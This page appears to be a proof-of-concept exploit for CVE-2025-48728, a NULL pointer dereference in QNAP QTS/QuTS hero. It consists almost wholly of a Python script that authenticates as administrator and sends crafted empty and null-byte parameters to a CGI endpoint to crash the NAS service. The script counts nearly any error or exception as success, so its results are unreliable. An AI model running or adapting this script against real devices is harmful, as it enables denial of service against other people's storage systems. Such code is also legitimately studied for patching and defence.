CVE-2025-48728 QNAP操作系统空指针解引用漏洞

# CVE-2025-48728 PoC - QNAP NULL Pointer Dereference DoS # This PoC demonstrates triggering a NULL pointer dereference # in vulnerable QNAP QTS / QuTS hero versions to cause DoS. # Requires valid administrator credentials. import requests import sys TARGET_HOST = "https://<qnap-nas-ip>:8080" ADMIN_USER = "admin" ADMIN_PASS = "<admin_password>" def exploit_null_deref(target, username, password): """ Exploit CVE-2025-48728: NULL pointer dereference in QNAP OS. Sends a crafted request to a vulnerable service endpoint that fails to validate pointer state, causing a crash (DoS). """ session = requests.Session() # Step 1: Authenticate as administrator login_url = f"{target}/cgi-bin/authLogin.cgi" login_data = { "user": username, "pwd": password, "group": "administrators" } try: resp = session.post(login_url, data=login_data, verify=False, timeout=10) if resp.status_code != 200: print(f"[-] Login failed: HTTP {resp.status_code}") return False print("[+] Administrator login successful") except Exception as e: print(f"[-] Login error: {e}") return False # Step 2: Trigger NULL pointer dereference via crafted request # The vulnerable endpoint fails to handle a specific parameter # combination, leading to dereference of an uninitialized pointer. trigger_url = f"{target}/cgi-bin/management/managementshared.cgi" # Crafted parameters designed to trigger the NULL deref path trigger_params = { "func": "get_share_info", "share_name": "", # Empty value triggers NULL path "extra_param": "\x00" * 16 # Null bytes to corrupt pointer state } try: resp = session.post(trigger_url, data=trigger_params, verify=False, timeout=10) print(f"[*] Trigger response: HTTP {resp.status_code}") if resp.status_code == 500 or "error" in resp.text.lower(): print("[+] Target appears vulnerable - service may have crashed") return True except requests.exceptions.ConnectionError: print("[+] Connection refused - target service likely crashed (DoS achieved)") return True except Exception as e: print(f"[+] Exception (possible crash): {e}") return True return False if __name__ == "__main__": if len(sys.argv) >= 4: TARGET_HOST = f"https://{sys.argv[1]}:8080" ADMIN_USER = sys.argv[2] ADMIN_PASS = sys.argv[3] print(f"[*] Targeting: {TARGET_HOST}") exploit_null_deref(TARGET_HOST, ADMIN_USER, ADMIN_PASS)